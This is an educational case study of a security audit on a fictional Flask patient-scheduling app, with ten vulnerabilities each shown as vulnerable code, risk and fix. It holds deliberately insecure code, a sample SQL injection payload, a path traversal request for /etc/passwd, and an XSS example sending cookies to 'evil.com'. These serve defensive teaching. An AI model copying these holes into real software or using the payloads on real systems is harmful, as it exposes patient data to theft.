Case Study 1: The Security Audit
AI-Assisted Security Review of a Web Application
Background
Mira Chowdhury is a senior developer at HealthTrack, a startup that builds a patient appointment scheduling platform. The application was built rapidly over six months using AI coding assistants, with a small team of three developers who relied heavily on vibe coding to meet aggressive deadlines.
The application is a Flask-based REST API with a React frontend. It handles sensitive patient data including names, email addresses, phone numbers, appointment histories, and insurance information. HealthTrack is preparing for a SOC 2 audit, and as part of the preparation, Mira has been tasked with conducting a comprehensive security review of the codebase.
Mira decides to use a combination of AI-assisted code review, automated scanning tools, and manual analysis to identify vulnerabilities. Her goal: find and fix every critical and high-severity issue before the audit.
The Application Architecture
The HealthTrack application consists of:
- Backend: Flask 2.x with SQLAlchemy ORM, PostgreSQL database
- Authentication: JWT-based authentication
- Frontend: React with Axios for API calls
- Deployment: Docker containers on AWS ECS
- File storage: Patient documents uploaded to local filesystem
The codebase is approximately 15,000 lines of Python and 20,000 lines of JavaScript.
Phase 1: Automated Scanning
Mira begins by running automated security tools against the codebase.
Bandit scan:
bandit -r src/ -f json -o bandit_report.json -ll
Bandit reports 47 issues: 8 high severity, 15 medium, and 24 low. Mira focuses on the high-severity findings.
pip-audit:
pip-audit -r requirements.txt
pip-audit reports 6 dependencies with known vulnerabilities, including a critical issue in an outdated version of Pillow used for processing uploaded images.
Phase 2: AI-Assisted Code Review
Mira copies the core authentication module into her AI assistant with a structured prompt:
Review the following Flask authentication code for security vulnerabilities.
Check for: SQL injection, XSS, hardcoded secrets, weak cryptography,
missing input validation, improper error handling, JWT mishandling, session
security issues, and IDOR vulnerabilities. For each issue, provide the
severity, the vulnerable line(s), the risk, and the corrected code.
The Ten Vulnerabilities
Vulnerability 1: Hardcoded JWT Secret (Critical)
Location: src/config.py, line 12
# VULNERABLE
class Config:
JWT_SECRET = "healthtrack-jwt-secret-2024"
DATABASE_URL = "postgresql://htadmin:Tr4ck3r!@db.healthtrack.internal:5432/healthtrack"
Risk: Anyone with access to the repository—current employees, former employees, contractors, or anyone who compromises a developer's machine—has the JWT signing key and database credentials. They can forge authentication tokens for any user and access the database directly.
Fix:
# SECURE
import os
class Config:
JWT_SECRET = os.environ["JWT_SECRET"]
DATABASE_URL = os.environ["DATABASE_URL"]
@classmethod
def validate(cls):
"""Validate all required environment variables are set."""
required = ["JWT_SECRET", "DATABASE_URL"]
missing = [var for var in required if not os.environ.get(var)]
if missing:
raise EnvironmentError(
f"Missing required environment variables: {', '.join(missing)}"
)
Mira also runs git log --all --full-history -S "healthtrack-jwt-secret" and discovers the secret has been in the repository since the initial commit. She immediately rotates the JWT secret and database password, and uses git filter-repo to scrub the credentials from history.
Vulnerability 2: SQL Injection in Search (Critical)
Location: src/routes/patients.py, line 87
# VULNERABLE
@app.route('/api/patients/search')
@require_auth
def search_patients():
query = request.args.get('q', '')
results = db.session.execute(
f"SELECT * FROM patients WHERE name LIKE '%{query}%' OR email LIKE '%{query}%'"
)
return jsonify([dict(row) for row in results])
Risk: An attacker can inject arbitrary SQL through the search parameter. With a payload like %' UNION SELECT id, name, email, ssn, insurance_id, password_hash, '' FROM patients --, they could extract sensitive fields not intended for display.
Fix:
# SECURE
from sqlalchemy import text
@app.route('/api/patients/search')
@require_auth
def search_patients():
query = request.args.get('q', '')
if len(query) < 2 or len(query) > 100:
return jsonify({"error": "Query must be 2-100 characters"}), 400
search_term = f"%{query}%"
results = db.session.execute(
text("SELECT id, name, email FROM patients WHERE name LIKE :q OR email LIKE :q"),
{"q": search_term}
)
return jsonify([dict(row._mapping) for row in results])
The fix uses parameterized queries and also selects only the columns needed for search results, preventing data leakage.
Vulnerability 3: Broken Authentication — Weak JWT Handling (High)
Location: src/auth/jwt_handler.py, lines 15–30
# VULNERABLE
def create_token(user_id, role):
payload = {
"user_id": user_id,
"role": role,
"exp": datetime.utcnow() + timedelta(days=30) # 30-day token!
}
return jwt.encode(payload, Config.JWT_SECRET, algorithm="HS256")
def verify_token(token):
try:
return jwt.decode(token, Config.JWT_SECRET, algorithms=["HS256", "none"])
except:
return None
Risk: Three issues here. First, the token expires in 30 days—far too long. Second, the algorithms list includes "none", which allows unsigned tokens. Third, the bare except clause silently swallows all errors, including InvalidSignatureError, making debugging impossible.
Fix:
# SECURE
from datetime import datetime, timedelta, timezone
def create_access_token(user_id: int, role: str) -> str:
now = datetime.now(timezone.utc)
payload = {
"sub": str(user_id),
"role": role,
"iat": now,
"exp": now + timedelta(minutes=15),
"iss": "healthtrack",
"type": "access"
}
return jwt.encode(payload, Config.JWT_SECRET, algorithm="HS256")
def verify_token(token: str) -> dict:
try:
payload = jwt.decode(
token,
Config.JWT_SECRET,
algorithms=["HS256"],
options={"require": ["sub", "exp", "iat", "iss", "type"]},
issuer="healthtrack"
)
if payload.get("type") != "access":
raise jwt.InvalidTokenError("Invalid token type")
return payload
except jwt.ExpiredSignatureError:
raise ValueError("Token has expired")
except jwt.InvalidTokenError as e:
raise ValueError(f"Invalid token: {e}")
Vulnerability 4: Insecure Direct Object Reference — IDOR (High)
Location: src/routes/appointments.py, line 42
# VULNERABLE
@app.route('/api/appointments/<int:appointment_id>')
@require_auth
def get_appointment(appointment_id):
appointment = Appointment.query.get(appointment_id)
if not appointment:
return jsonify({"error": "Not found"}), 404
return jsonify(appointment.to_dict())
Risk: Any authenticated user can view any appointment by changing the ID in the URL. A patient could view another patient's appointment details, including medical notes and insurance information.
Fix:
# SECURE
@app.route('/api/appointments/<int:appointment_id>')
@require_auth
def get_appointment(appointment_id):
appointment = Appointment.query.get(appointment_id)
if not appointment:
return jsonify({"error": "Not found"}), 404
current_user = get_current_user()
if current_user.role == "patient" and appointment.patient_id != current_user.id:
return jsonify({"error": "Forbidden"}), 403
if current_user.role == "doctor" and appointment.doctor_id != current_user.id:
return jsonify({"error": "Forbidden"}), 403
return jsonify(appointment.to_dict())
Vulnerability 5: Cross-Site Scripting in Error Pages (High)
Location: src/routes/main.py, line 18
# VULNERABLE
@app.errorhandler(404)
def not_found(e):
path = request.path
return f"<h1>Page not found: {path}</h1>", 404
Risk: An attacker crafts a URL like /api/<script>document.location='https://evil.com/steal?c='+document.cookie</script> and sends it to a victim. When the victim clicks the link, the 404 page renders the script, which steals their session cookie.
Fix:
# SECURE
from markupsafe import escape
@app.errorhandler(404)
def not_found(e):
return jsonify({"error": "Resource not found"}), 404
For API applications, error responses should be JSON, not HTML. If HTML is needed, use template rendering with auto-escaping.
Vulnerability 6: Missing Rate Limiting on Authentication (High)
Location: src/routes/auth.py
The login endpoint had no rate limiting whatsoever. An attacker could make unlimited login attempts, enabling brute-force attacks against patient accounts.
Fix:
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(get_remote_address, app=app, storage_uri="redis://localhost:6379")
@app.route('/api/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
# ... authentication logic
pass
@app.route('/api/password-reset', methods=['POST'])
@limiter.limit("3 per hour")
def password_reset():
# ... password reset logic
pass
Vulnerability 7: Weak Password Hashing (High)
Location: src/models/user.py, line 23
# VULNERABLE
import hashlib
def set_password(self, password):
self.password_hash = hashlib.sha256(password.encode()).hexdigest()
Risk: SHA-256 is a fast hash function. An attacker with a leaked database can compute billions of hashes per second using GPUs, cracking most passwords in hours.
Fix:
# SECURE
import bcrypt
def set_password(self, password: str) -> None:
salt = bcrypt.gensalt(rounds=12)
self.password_hash = bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8')
def check_password(self, password: str) -> bool:
return bcrypt.checkpw(
password.encode('utf-8'),
self.password_hash.encode('utf-8')
)
Vulnerability 8: Path Traversal in File Downloads (High)
Location: src/routes/documents.py, line 31
# VULNERABLE
@app.route('/api/documents/<filename>')
@require_auth
def download_document(filename):
return send_from_directory('/app/uploads', filename)
Risk: An attacker requests /api/documents/../../etc/passwd or /api/documents/../../app/config.py to read arbitrary files from the server.
Fix:
# SECURE
import os
from werkzeug.utils import secure_filename
UPLOAD_DIR = '/app/uploads'
@app.route('/api/documents/<filename>')
@require_auth
def download_document(filename):
safe_name = secure_filename(filename)
if not safe_name or safe_name != filename:
return jsonify({"error": "Invalid filename"}), 400
full_path = os.path.realpath(os.path.join(UPLOAD_DIR, safe_name))
if not full_path.startswith(os.path.realpath(UPLOAD_DIR)):
return jsonify({"error": "Access denied"}), 403
if not os.path.exists(full_path):
return jsonify({"error": "File not found"}), 404
return send_from_directory(UPLOAD_DIR, safe_name)
Vulnerability 9: Missing Security Headers (Medium)
Location: The entire application had no security headers configured.
Fix:
@app.after_request
def add_security_headers(response):
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
response.headers['Permissions-Policy'] = 'camera=(), microphone=(), geolocation=()'
return response
Vulnerability 10: Information Disclosure in Error Handling (Medium)
Location: src/app.py, line 5
# VULNERABLE
app = Flask(__name__)
app.config['DEBUG'] = True # Left on from development
Additionally, unhandled exceptions returned full Python tracebacks to the client, revealing internal file paths, library versions, and database schema details.
Fix:
# SECURE
app = Flask(__name__)
app.config['DEBUG'] = os.environ.get('FLASK_DEBUG', 'false').lower() == 'true'
@app.errorhandler(500)
def internal_error(e):
app.logger.error(f"Internal error: {e}", exc_info=True)
return jsonify({"error": "An internal error occurred"}), 500
@app.errorhandler(Exception)
def handle_exception(e):
app.logger.error(f"Unhandled exception: {e}", exc_info=True)
return jsonify({"error": "An unexpected error occurred"}), 500
Phase 3: Remediation and Verification
Mira created a spreadsheet tracking all ten vulnerabilities with their severity, location, fix, assignee, and status. She prioritized remediation:
- Immediate (Day 1): Rotate all hardcoded secrets. Remove debug mode. Fix SQL injection.
- Urgent (Days 2–3): Fix JWT handling, IDOR, XSS, password hashing, path traversal.
- Important (Days 4–5): Add rate limiting, security headers. Fix error handling.
After remediation, Mira re-ran all automated scans and conducted a second AI-assisted review of the fixed code. She also wrote 35 security-focused test cases covering each vulnerability to prevent regression.
Lessons Learned
-
AI-generated code is not inherently secure. Every vulnerability in this case study originated from AI-generated code that was accepted without security review. The code worked correctly for legitimate inputs—it simply was not hardened against malicious inputs.
-
Speed and security are not opposites. Writing parameterized queries takes the same time as writing string-interpolated queries. Using bcrypt takes two more lines than SHA-256. The fixes were not complex—they just required awareness.
-
Automated tools catch known patterns; AI review catches logic flaws. Bandit detected the hardcoded secrets and weak hashing, but it missed the IDOR vulnerability and the JWT algorithm confusion issue. The AI-assisted review caught both. The combination of automated and AI-assisted review was far more effective than either alone.
-
Security must be continuous. Mira established a CI/CD pipeline that runs Bandit, pip-audit, and secret scanning on every commit. She also scheduled quarterly AI-assisted security reviews.
-
Rotate first, fix second. When a secret is exposed, rotate it immediately—before rewriting git history, before fixing the code, before anything else. Every minute the secret is active is a minute an attacker could use it.
Discussion Questions
- Which of the ten vulnerabilities do you consider most critical for a healthcare application? Why?
- How would the remediation priorities change if this were a public blog platform instead of a healthcare application?
- What additional security measures would be required for HIPAA compliance beyond what was addressed in this case study?
- How could the development team have prevented these vulnerabilities from being introduced in the first place?
- Design a security review process that integrates into a two-week sprint cycle without significantly slowing development velocity.